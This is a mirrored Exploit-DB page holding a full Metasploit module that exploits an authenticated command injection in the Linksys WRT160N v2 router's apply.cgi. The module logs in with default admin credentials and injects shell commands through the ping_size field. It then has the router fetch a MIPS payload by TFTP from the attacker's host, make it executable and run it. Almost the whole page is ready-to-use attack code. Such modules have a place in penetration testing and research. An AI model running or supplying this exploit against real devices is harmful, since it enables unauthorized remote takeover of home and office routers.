Linksys WRT160N v2 – ‘apply.cgi’ Remote Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2013-05-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/25608/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rex/proto/tftp'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
    'Description' => %q{
    Some Linksys Routers are vulnerable to an authenticated OS command injection on
    their web interface where default credentials are admin/admin or admin/password.
    Since it is a blind OS command injection vulnerability, there is no output for the
    executed command when using the cmd generic payload. This module has been tested on
    aLinksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
    controlled system could be used for testing purposes. The exploit uses the tftp
    client from the device to stage to native payloads from the command injection.
    },
    'Author'=>
    [
    'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
    'juan vazquez' # minor help with msf module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'BID', '57887' ],
    [ 'EDB', '24478' ],
    [ 'OSVDB', '90093' ],
    [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
    ],
    'DisclosureDate' => 'Feb 11 2013',
    'Privileged' => true,
    'Platform' => ['linux','unix'],
    'Payload'=>
    {
    'DisableNops' => true
    },
    'Targets'=>
    [
    [ 'CMD',
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix'
    }
    ],
    [ 'Linux mipsel Payload',
    {
    'Arch' => ARCH_MIPSLE,
    'Platform' => 'linux'
    }
    ],
    ],
    'DefaultTarget'=> 1
    ))
    
    register_options(
    [
    OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
    OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
    OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
    OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
    ], self.class)
    end
    
    
    def request(cmd,user,pass,uri)
    begin
    res = send_request_cgi({
    'uri'=> uri,
    'method' => 'POST',
    'authorization' => basic_auth(user,pass),
    'vars_post' => {
    "submit_button" => "Diagnostics",
    "change_action" => "gozila_cgi",
    "submit_type" => "start_ping",
    "action" => "",
    "commit" => "0",
    "ping_ip" => "1.1.1.1",
    "ping_size" => "&#{cmd}&",
    "ping_times" => "5",
    "traceroute_ip" => ""
    }
    })
    return res
    rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return nil
    end
    end
    
    def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
    uri = '/apply.cgi'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    lhost = datastore['LHOST']
    
    #
    # testing Login
    #
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    begin
    res = send_request_cgi({
    'uri' => uri,
    'method'=> 'GET',
    'authorization' => basic_auth(user,pass)
    })
    if res.nil? or res.code == 404
    fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    if [200, 301, 302].include?(res.code)
    print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
    else
    fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    rescue ::Rex::ConnectionError
    fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end
    
    if target.name =~ /CMD/
    if not (datastore['CMD'])
    fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = payload.encoded
    res = request(cmd,user,pass,uri)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    else
    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
    end
    return
    end
    
    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    
    #
    # start our server
    #
    print_status("#{rhost}:#{rport} - Starting up our TFTP service")
    @tftp = Rex::Proto::TFTP::Server.new
    @tftp.register_file(downfile,@pl,true)
    @tftp.start
    
    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
    #this filename is used to store the payload on the device -> we have limited space for the filename!
    filename = rand_text_alpha_lower(4)
    
    #not working if we send all command together -> lets take three requests
    cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
    res = request(cmd,user,pass,uri)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    # wait for payload download
    if (datastore['DOWNHOST'])
    print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
    select(nil, nil, nil, datastore['DELAY'])
    else
    wait_linux_payload
    end
    @tftp.stop
    register_file_for_cleanup("/tmp/#{filename}")
    
    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    
    end
    
    # wait for the data to be sent
    def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
    
    waited = 0
    while (not @tftp.files.length == 0)
    select(nil, nil, nil, 1)
    waited += 1
    if (waited > datastore['DELAY'])
    @tftp.stop
    fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
    end
    end
    end
    end